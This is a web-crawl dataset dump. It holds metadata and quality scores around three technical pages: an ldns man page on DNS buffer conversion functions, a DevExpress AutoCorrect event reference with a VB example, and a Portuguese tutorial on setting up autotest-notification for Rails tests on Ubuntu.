"WARC-Record-ID": "<urn:uuid:b57c55a4-b210-44fe-a50e-d9c959346ed5>",
"WARC-Target-URI": "http://math.stackexchange.com/questions/276104/online-mathjax-editor?answertab=votes",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:25ea1640-0d32-4520-8aeb-7810d3f46e4e>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-137-6-227.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2015-40\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for September 2015\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
10,
184,
185,
335,
336,
576,
577,
630,
631,
1019,
1020,
1028,
1029,
1030,
1272,
1273,
1451,
1452,
1485,
1489,
1621,
1626,
1737,
1741,
1873,
1878,
2000,
2005,
2302,
2303,
2315,
2316,
2395,
2396,
2484,
2510,
2660,
2770,
2818,
2943,
3033,
3034,
3143,
3144,
3175,
3180,
3348,
3353,
3483,
3488,
3592,
3597,
3738,
3743,
4067,
4096,
4097,
4111,
4112,
4198,
4199,
4230,
4235,
4319,
4324,
4661,
4662,
4762,
4763,
4794,
4799,
4910,
4911,
4963,
4964,
4995,
5000,
5178,
5183,
5380,
5385,
5577,
5581,
5694,
5695,
5763,
5764,
5817,
5818,
5843,
5844,
5928,
5929,
5960,
5961,
5973,
5974,
5976,
5984,
5985,
6063,
6064
],
"line_end_idx": [
10,
184,
185,
335,
336,
576,
577,
630,
631,
1019,
1020,
1028,
1029,
1030,
1272,
1273,
1451,
1452,
1485,
1489,
1621,
1626,
1737,
1741,
1873,
1878,
2000,
2005,
2302,
2303,
2315,
2316,
2395,
2396,
2484,
2510,
2660,
2770,
2818,
2943,
3033,
3034,
3143,
3144,
3175,
3180,
3348,
3353,
3483,
3488,
3592,
3597,
3738,
3743,
4067,
4096,
4097,
4111,
4112,
4198,
4199,
4230,
4235,
4319,
4324,
4661,
4662,
4762,
4763,
4794,
4799,
4910,
4911,
4963,
4964,
4995,
5000,
5178,
5183,
5380,
5385,
5577,
5581,
5694,
5695,
5763,
5764,
5817,
5818,
5843,
5844,
5928,
5929,
5960,
5961,
5973,
5974,
5976,
5984,
5985,
6063,
6064,
6154
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 6154,
"ccnet_original_nlines": 102,
"rps_doc_curly_bracket": 0.0009749800083227456,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.38845330476760864,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.03136137127876282,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.25089094042778015,
"rps_doc_frac_unique_words": 0.42318567633628845,
"rps_doc_mean_word_length": 4.4005656242370605,
"rps_doc_num_sentences": 85,
"rps_doc_symbol_to_word_ratio": 0.0007127600256353617,
"rps_doc_unigram_entropy": 5.548587799072266,
"rps_doc_word_count": 1061,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.019276080653071404,
"rps_doc_frac_chars_dupe_6grams": 0.019276080653071404,
"rps_doc_frac_chars_dupe_7grams": 0.011565649881958961,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.009423860348761082,
"rps_doc_frac_chars_top_3gram": 0.007496249862015247,
"rps_doc_frac_chars_top_4gram": 0.009638040326535702,
"rps_doc_books_importance": -653.4036865234375,
"rps_doc_books_importance_length_correction": -653.4036865234375,
"rps_doc_openwebtext_importance": -296.2738952636719,
"rps_doc_openwebtext_importance_length_correction": -296.2738952636719,
"rps_doc_wikipedia_importance": -247.15818786621094,
"rps_doc_wikipedia_importance_length_correction": -247.15818786621094
},
"fasttext": {
"dclm": 0.048915620893239975,
"english": 0.9307553768157959,
"fineweb_edu_approx": 1.324238896369934,
"eai_general_math": 0.19856274127960205,
"eai_open_web_math": 0.320733904838562,
"eai_web_code": 0.0006089200032874942
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "004.0151",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "510",
"labels": {
"level_1": "Science and Natural history",
"level_2": "Mathematics",
"level_3": ""
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "1",
"label": "General Audience"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
6,765,668,868,362,472,000 |
ldns_pkt2buffer_str man page
ldns_pkt2buffer_str, ldns_pktheader2buffer_str, ldns_rr2buffer_str, ldns_rr_list2buffer_str, ldns_rdf2buffer_str, ldns_key2buffer_str, ldns_pkt2buffer_wire, ldns_rr2buffer_wire, ldns_rdf2buffer_wire, ldns_rrsig2buffer_wire, ldns_rr_rdata2buffer_wire — lower level conversions
Synopsis
#include <stdint.h>
#include <stdbool.h>
#include <ldns/ldns.h>
ldns_status ldns_pkt2buffer_str(ldns_buffer *output, const ldns_pkt *pkt);
ldns_status ldns_pktheader2buffer_str(ldns_buffer *output, const ldns_pkt *pkt);
ldns_status ldns_rr2buffer_str(ldns_buffer *output, const ldns_rr *rr);
ldns_status ldns_rr_list2buffer_str(ldns_buffer *output, const ldns_rr_list *list);
ldns_status ldns_rdf2buffer_str(ldns_buffer *output, const ldns_rdf *rdf);
ldns_status ldns_key2buffer_str(ldns_buffer *output, const ldns_key *k);
ldns_status ldns_pkt2buffer_wire(ldns_buffer *output, const ldns_pkt *pkt);
ldns_status ldns_rr2buffer_wire(ldns_buffer *output, const ldns_rr *rr, int section);
ldns_status ldns_rdf2buffer_wire(ldns_buffer *output, const ldns_rdf *rdf);
ldns_status ldns_rrsig2buffer_wire(ldns_buffer *output, const ldns_rr *sigrr);
ldns_status ldns_rr_rdata2buffer_wire(ldns_buffer *output, const ldns_rr *rr);
Description
ldns_pkt2buffer_str() Converts the data in the DNS packet to presentation format (as char *) and appends it to the given buffer
output: pointer to the buffer to append the data to
pkt: the pointer to the packet to convert
Returns status
ldns_pktheader2buffer_str() Converts the header of a packet to presentation format and appends it to the output buffer
output: the buffer to append output to
pkt: the packet to convert the header of
Returns ldns_status
ldns_rr2buffer_str() Converts the data in the resource record to presentation format (as char *) and appends it to the given buffer. The presentation format of DNSKEY record is annotated with comments giving the id, type and size of the key.
output: pointer to the buffer to append the data to
rr: the pointer to the rr field to convert
Returns status
ldns_rr_list2buffer_str() Converts a rr_list to presentation format and appends it to the output buffer
output: the buffer to append output to
list: the ldns_rr_list to print
Returns ldns_status
ldns_rdf2buffer_str() Converts the data in the rdata field to presentation format (as char *) and appends it to the given buffer
output: pointer to the buffer to append the data to
rdf: the pointer to the rdafa field containing the data
Returns status
ldns_key2buffer_str() Converts the data in the DNS packet to presentation format (as char *) and appends it to the given buffer
output: pointer to the buffer to append the data to
k: the pointer to the private key to convert
Returns status
ldns_pkt2buffer_wire() Copies the packet data to the buffer in wire format
*output: buffer to append the result to
*pkt: packet to convert
Returns ldns_status
ldns_rr2buffer_wire() Copies the rr data to the buffer in wire format
*output: buffer to append the result to
*rr: resource record to convert
section: the section in the packet this rr is supposed to be in (to determine whether to add rdata or not)
Returns ldns_status
ldns_rdf2buffer_wire() Copies the rdata data to the buffer in wire format
*output: buffer to append the result to
*rdf: rdata to convert
Returns ldns_status
ldns_rrsig2buffer_wire() Converts a rrsig to wireformat BUT EXCLUDE the rrsig rdata This is needed in DNSSEC verification
output: buffer to append the result to
sigrr: signature rr to operate on
Returns ldns_status
ldns_rr_rdata2buffer_wire() Converts an rr's rdata to wireformat, while excluding the ownername and all the stuff before the rdata. This is needed in DNSSEC keytag calculation, the ds calcalution from the key and maybe elsewhere.
*output: buffer where to put the result
*rr: rr to operate on
Returns ldns_status
Author
The ldns team at NLnet Labs. Which consists out of Jelte Jansen and Miek Gieben.
Reporting Bugs
Please report bugs to [email protected] or in our bugzilla at http://www.nlnetlabs.nl/bugs/index.html
See Also
ldns_pkt2str, ldns_rr2str, ldns_rdf2str, ldns_rr_list2str, ldns_key2str. And perldoc Net::DNS, RFC1034, RFC1035, RFC4033, RFC4034 and RFC4035.
Remarks
This manpage was automatically generated from the ldns source code by use of Doxygen and some perl.
Referenced By
The man pages ldns_key2buffer_str(3), ldns_pkt2buffer_wire(3), ldns_pktheader2buffer_str(3), ldns_rdf2buffer_str(3), ldns_rdf2buffer_wire(3), ldns_rr2buffer_str(3), ldns_rr2buffer_wire(3), ldns_rr_list2buffer_str(3), ldns_rr_rdata2buffer_wire(3) and ldns_rrsig2buffer_wire(3) are aliases of ldns_pkt2buffer_str(3).
30 May 2006
|
{
"url": "https://www.mankier.com/3/ldns_pkt2buffer_str",
"source_domain": "www.mankier.com",
"snapshot_id": "crawl=CC-MAIN-2017-47",
"warc_metadata": {
"Content-Length": "10308",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:K7LWIROWAQWLMBPK2XYFLL6JQIZDILXA",
"WARC-Concurrent-To": "<urn:uuid:e42cc63e-463e-4dc6-97ae-c023fb68144e>",
"WARC-Date": "2017-11-20T17:23:24Z",
"WARC-IP-Address": "104.28.22.53",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:MN5JR4CDWEYFDRWXYQYQQL6ZI77A7LR3",
"WARC-Record-ID": "<urn:uuid:b8a78e2c-42cd-4a75-a1d2-0637d1a16ccb>",
"WARC-Target-URI": "https://www.mankier.com/3/ldns_pkt2buffer_str",
"WARC-Truncated": "length",
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:c801b533-1bf5-4787-ba04-c95b315e2f9a>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-183-65-89.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-47\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for November 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
29,
30,
306,
307,
316,
317,
337,
358,
359,
382,
383,
458,
459,
540,
541,
613,
614,
698,
699,
774,
775,
848,
849,
925,
926,
1012,
1013,
1089,
1090,
1169,
1170,
1249,
1250,
1262,
1263,
1391,
1392,
1444,
1486,
1501,
1502,
1621,
1660,
1701,
1721,
1722,
1964,
1965,
2017,
2060,
2075,
2076,
2180,
2219,
2251,
2271,
2272,
2401,
2402,
2454,
2510,
2525,
2526,
2654,
2655,
2707,
2752,
2767,
2768,
2843,
2883,
2907,
2927,
2928,
2998,
3038,
3070,
3177,
3197,
3198,
3272,
3312,
3335,
3355,
3356,
3478,
3517,
3551,
3571,
3572,
3802,
3803,
3843,
3865,
3885,
3886,
3893,
3894,
3975,
3976,
3991,
3992,
4100,
4101,
4110,
4111,
4255,
4256,
4264,
4265,
4365,
4366,
4380,
4381,
4696,
4697
],
"line_end_idx": [
29,
30,
306,
307,
316,
317,
337,
358,
359,
382,
383,
458,
459,
540,
541,
613,
614,
698,
699,
774,
775,
848,
849,
925,
926,
1012,
1013,
1089,
1090,
1169,
1170,
1249,
1250,
1262,
1263,
1391,
1392,
1444,
1486,
1501,
1502,
1621,
1660,
1701,
1721,
1722,
1964,
1965,
2017,
2060,
2075,
2076,
2180,
2219,
2251,
2271,
2272,
2401,
2402,
2454,
2510,
2525,
2526,
2654,
2655,
2707,
2752,
2767,
2768,
2843,
2883,
2907,
2927,
2928,
2998,
3038,
3070,
3177,
3197,
3198,
3272,
3312,
3335,
3355,
3356,
3478,
3517,
3551,
3571,
3572,
3802,
3803,
3843,
3865,
3885,
3886,
3893,
3894,
3975,
3976,
3991,
3992,
4100,
4101,
4110,
4111,
4255,
4256,
4264,
4265,
4365,
4366,
4380,
4381,
4696,
4697,
4708
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 4708,
"ccnet_original_nlines": 116,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2512195110321045,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.01585366018116474,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.24146340787410736,
"rps_doc_frac_unique_words": 0.32721200585365295,
"rps_doc_mean_word_length": 6.1619367599487305,
"rps_doc_num_sentences": 18,
"rps_doc_symbol_to_word_ratio": 0.003658540081232786,
"rps_doc_unigram_entropy": 4.417052268981934,
"rps_doc_word_count": 599,
"rps_doc_frac_chars_dupe_10grams": 0.20915740728378296,
"rps_doc_frac_chars_dupe_5grams": 0.30018964409828186,
"rps_doc_frac_chars_dupe_6grams": 0.24735844135284424,
"rps_doc_frac_chars_dupe_7grams": 0.21755622327327728,
"rps_doc_frac_chars_dupe_8grams": 0.20915740728378296,
"rps_doc_frac_chars_dupe_9grams": 0.20915740728378296,
"rps_doc_frac_chars_top_2gram": 0.023028990253806114,
"rps_doc_frac_chars_top_3gram": 0.03793010115623474,
"rps_doc_frac_chars_top_4gram": 0.036846380680799484,
"rps_doc_books_importance": -342.13092041015625,
"rps_doc_books_importance_length_correction": -342.13092041015625,
"rps_doc_openwebtext_importance": -215.7216796875,
"rps_doc_openwebtext_importance_length_correction": -215.7216796875,
"rps_doc_wikipedia_importance": -159.82337951660156,
"rps_doc_wikipedia_importance_length_correction": -159.82337951660156
},
"fasttext": {
"dclm": 0.08541339635848999,
"english": 0.6887139678001404,
"fineweb_edu_approx": 2.78631329536438,
"eai_general_math": 0.4461226463317871,
"eai_open_web_math": 0.02529907040297985,
"eai_web_code": 0.7874428033828735
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "004.678",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "2",
"label": "Conceptual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "10",
"label": "Knowledge Article"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "4",
"label": "Graduate/Expert Level"
},
"secondary": {
"code": "3",
"label": "Undergraduate Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-212,746,263,319,528,800 |
RichEditControl.AutoCorrect Event
Fires when text is typed in the control.
Namespace: DevExpress.Xpf.RichEdit
Assembly: DevExpress.Xpf.RichEdit.v21.1.dll
Declaration
public event AutoCorrectEventHandler AutoCorrect
Event Data
The AutoCorrect event's data class is AutoCorrectEventArgs. The following properties provide information specific to this event:
Property Description
AutoCorrectInfo Gets or sets the AutoCorrectInfo object that provides methods to analyze input text and contains a replacement object.
The event data class exposes the following methods:
Method Description
CreateAutoCorrectInfo() Allows you to create a new AutoCorrectInfo instance for use within the event handler.
Remarks
Handle the AutoCorrect event to implement complex replacements as you type.
The RichEditControl.AutoCorrect event is handled to replace the typed $ symbol with a picture of a dollar, and substitute the text enclosed in percent symbols with custom content.
To accomplish this task, a document text obtained via the AutoCorrectEventArgs.AutoCorrectInfo property is amended by expanding its left boundary using the AutoCorrectInfo.DecrementStartPosition method, until a special symbol or a word separator symbol is found. If a resulting string meets certain conditions, such as whether it is a dollar sign or a %date% string, a replacement object is passed to the document via the AutoCorrectInfo.ReplaceWith property. A replacement object can be a string or an image.
View Example
Private Sub richEditControl1_AutoCorrect(ByVal sender As Object, ByVal e As DevExpress.XtraRichEdit.AutoCorrectEventArgs)
Dim info As AutoCorrectInfo = e.AutoCorrectInfo
e.AutoCorrectInfo = Nothing
If info.Text.Length <= 0 Then
Return
End If
Do
If Not info.DecrementStartPosition() Then
Return
End If
If IsSeparator(info.Text(0)) Then
Return
End If
If info.Text(0) = "$"c Then
info.ReplaceWith = CreateImageFromResx("dollar_pic.png")
e.AutoCorrectInfo = info
Return
End If
If info.Text(0) = "%"c Then
Dim replaceString As String = CalculateFunction(info.Text)
If Not String.IsNullOrEmpty(replaceString) Then
info.ReplaceWith = replaceString
e.AutoCorrectInfo = info
End If
Return
End If
Loop
End Sub
See Also
|
{
"url": "https://docs.devexpress.com/WPF/DevExpress.Xpf.RichEdit.RichEditControl.AutoCorrect",
"source_domain": "docs.devexpress.com",
"snapshot_id": "crawl=CC-MAIN-2021-39",
"warc_metadata": {
"Content-Length": "192165",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:DOQZY7CSRYL5GD6B7L7EBNF5AHKGXEAT",
"WARC-Concurrent-To": "<urn:uuid:5f8f756f-b649-441e-91ca-dfd5dee6be67>",
"WARC-Date": "2021-09-22T07:44:25Z",
"WARC-IP-Address": "52.175.254.10",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:IDSNELUBVKUTFFSCQ66CHHIDYG6MV33J",
"WARC-Record-ID": "<urn:uuid:423a57f6-b677-4883-bdcb-06818b96a234>",
"WARC-Target-URI": "https://docs.devexpress.com/WPF/DevExpress.Xpf.RichEdit.RichEditControl.AutoCorrect",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:87f6db94-c1c9-4a4f-8131-1b19be5a98c6>"
},
"warc_info": "isPartOf: CC-MAIN-2021-39\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for September 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-150\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
34,
35,
76,
77,
112,
113,
157,
158,
170,
171,
220,
221,
232,
233,
362,
363,
384,
519,
520,
572,
573,
592,
702,
703,
711,
712,
788,
789,
969,
970,
1480,
1481,
1494,
1495,
1617,
1669,
1701,
1702,
1736,
1751,
1762,
1769,
1819,
1838,
1853,
1854,
1896,
1915,
1930,
1931,
1967,
2036,
2073,
2092,
2107,
2108,
2144,
2215,
2275,
2324,
2365,
2384,
2403,
2418,
2427,
2435
],
"line_end_idx": [
34,
35,
76,
77,
112,
113,
157,
158,
170,
171,
220,
221,
232,
233,
362,
363,
384,
519,
520,
572,
573,
592,
702,
703,
711,
712,
788,
789,
969,
970,
1480,
1481,
1494,
1495,
1617,
1669,
1701,
1702,
1736,
1751,
1762,
1769,
1819,
1838,
1853,
1854,
1896,
1915,
1930,
1931,
1967,
2036,
2073,
2092,
2107,
2108,
2144,
2215,
2275,
2324,
2365,
2384,
2403,
2418,
2427,
2435,
2443
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 2443,
"ccnet_original_nlines": 66,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.2131979763507843,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.0025380700826644897,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.21827411651611328,
"rps_doc_frac_unique_words": 0.5272727012634277,
"rps_doc_mean_word_length": 6.578181743621826,
"rps_doc_num_sentences": 39,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.59712028503418,
"rps_doc_word_count": 275,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.04145937040448189,
"rps_doc_frac_chars_dupe_6grams": 0.029850749298930168,
"rps_doc_frac_chars_dupe_7grams": 0.029850749298930168,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.016583750024437904,
"rps_doc_frac_chars_top_3gram": 0.030403539538383484,
"rps_doc_frac_chars_top_4gram": 0.024875620380043983,
"rps_doc_books_importance": -174.60182189941406,
"rps_doc_books_importance_length_correction": -174.60182189941406,
"rps_doc_openwebtext_importance": -100.43242645263672,
"rps_doc_openwebtext_importance_length_correction": -100.43242645263672,
"rps_doc_wikipedia_importance": -89.20947265625,
"rps_doc_wikipedia_importance_length_correction": -89.20947265625
},
"fasttext": {
"dclm": 0.8397358059883118,
"english": 0.495560884475708,
"fineweb_edu_approx": 3.246817111968994,
"eai_general_math": 0.8844983577728271,
"eai_open_web_math": 0.1049448773264885,
"eai_web_code": 0.8372316956520081
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.02",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "4",
"label": "Missing Images or Figures"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "23",
"label": "Tutorial"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
9,024,401,096,389,601,000 |
O autotest é uma ferramente que a cada modificação de arquivos de teste, de model e de outros que podem ser testados é executado os testes e exibido na tela de forma discreta.
A página do plugin (http://github.com/carlosbrando/autotest-notification/tree) é auto explicativa quanto a instalação. Vou seguir neste tutorial usando Ubuntu 9.04.
Instale primeiro o ZenTest e o autotest-rails:
$ sudo gem install ZenTest autotest-rails
Successfully installed ZenTest-4.1.3
Successfully installed autotest-rails-4.1.0
2 gems installed
Installing ri documentation for ZenTest-4.1.3...
Installing ri documentation for autotest-rails-4.1.0...
Installing RDoc documentation for ZenTest-4.1.3...
Installing RDoc documentation for autotest-rails-4.1.0...
No Ubuntu marque o pacote libnotify-bin para a instalação ou use a linha abaixo:
# apt-get install libnotify-bin
Agora vamos instalar o comando do autotest-notification:
$ sudo gem install carlosbrando-autotest-notification --source=http://gems.github.com
For more information on autotest_notification, see http://github.com/carlosbrando/autotest-notification/
To turn on the notifier you need to run the following command:
an-install
To turn off:
an-uninstall
Successfully installed carlosbrando-autotest-notification-1.9.1
1 gem installed
Installing ri documentation for carlosbrando-autotest-notification-1.9.1...
Installing RDoc documentation for carlosbrando-autotest-notification-1.9.1...
Após a instalação é necessário apenas configurar:
$ an-install
As from now all tests will be notified automatically.
Agora na raiz da aplicação execute o comando:
$ autotest -rails
Veja o autotest funcionando:
$ autotest -rails
loading autotest/rails
/usr/bin/ruby1.8 -I.:lib:test -rubygems -e "%w[test/unit test/functional/users_controller_test.rb test/unit/problem_test.rb test/unit/kind_test.rb test/functional/reports_controller_test.rb test/functional/comments_controller_test.rb test/unit/ticket_test.rb test/unit/helpers/problems_helper_test.rb test/functional/tickets_controller_test.rb test/functional/home_controller_test.rb test/functional/roles_controller_test.rb test/unit/helpers/kinds_helper_test.rb test/unit/helpers/home_helper_test.rb test/unit/user_test.rb test/unit/helpers/users_helper_test.rb test/functional/problems_controller_test.rb test/unit/helpers/tickets_helper_test.rb test/unit/helpers/user_sessions_helper_test.rb test/unit/helpers/comments_helper_test.rb test/unit/role_test.rb test/unit/comment_test.rb test/functional/kinds_controller_test.rb test/unit/helpers/roles_helper_test.rb test/functional/user_sessions_controller_test.rb test/unit/helpers/reports_helper_test.rb].each { |f| require f }" | unit_diff -u
ed suite -e
Started
........................
Finished in 0.235668 seconds.
24 tests, 25 assertions, 0 failures, 0 errors
================================================================================
Para fechar basta fechar o terminal ou usar control+c duas vezes, pois somente uma ele executa novamente todos os testes.
Veja abaixo quando o autotest-notification executa algum teste, respectivamente um teste falha e outro corrigido:
Esta terceira imagem é de uma janela que é mostrada caso o libnotify-bin não está instalado, a janela fica em primeiro plano “atrapalhando” o usuário:
|
{
"url": "https://dmitryrck.com/autotest-permanecer-testando/",
"source_domain": "dmitryrck.com",
"snapshot_id": "crawl=CC-MAIN-2021-21",
"warc_metadata": {
"Content-Length": "15657",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:RFSBWQAYZTT3PSALLWO6FHNXWCLTMB46",
"WARC-Concurrent-To": "<urn:uuid:46de7d9c-cd7a-45f0-823a-f3999bde50ed>",
"WARC-Date": "2021-05-10T20:01:43Z",
"WARC-IP-Address": "104.21.51.194",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:VG2277B6RLRE3INVJMNMPV6LPYM2OTZS",
"WARC-Record-ID": "<urn:uuid:524854c7-053f-4ec5-9dc1-ded834c21944>",
"WARC-Target-URI": "https://dmitryrck.com/autotest-permanecer-testando/",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:4e81edc3-5457-4da1-8eda-0d4881b6c983>"
},
"warc_info": "isPartOf: CC-MAIN-2021-21\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for May 2021\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-185.ec2.internal\r\nsoftware: Apache Nutch 1.18 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.2-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: https://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
}
|
{
"line_start_idx": [
0,
176,
177,
342,
343,
390,
391,
433,
470,
514,
531,
580,
636,
687,
745,
746,
827,
828,
860,
861,
918,
919,
1005,
1006,
1111,
1112,
1175,
1188,
1189,
1202,
1217,
1218,
1282,
1298,
1374,
1452,
1453,
1503,
1504,
1517,
1518,
1572,
1573,
1619,
1620,
1638,
1639,
1668,
1669,
1687,
1710,
2707,
2719,
2727,
2752,
2782,
2783,
2829,
2910,
2911,
3033,
3034,
3148,
3149
],
"line_end_idx": [
176,
177,
342,
343,
390,
391,
433,
470,
514,
531,
580,
636,
687,
745,
746,
827,
828,
860,
861,
918,
919,
1005,
1006,
1111,
1112,
1175,
1188,
1189,
1202,
1217,
1218,
1282,
1298,
1374,
1452,
1453,
1503,
1504,
1517,
1518,
1572,
1573,
1619,
1620,
1638,
1639,
1668,
1669,
1687,
1710,
2707,
2719,
2727,
2752,
2782,
2783,
2829,
2910,
2911,
3033,
3034,
3148,
3149,
3299
]
}
|
{
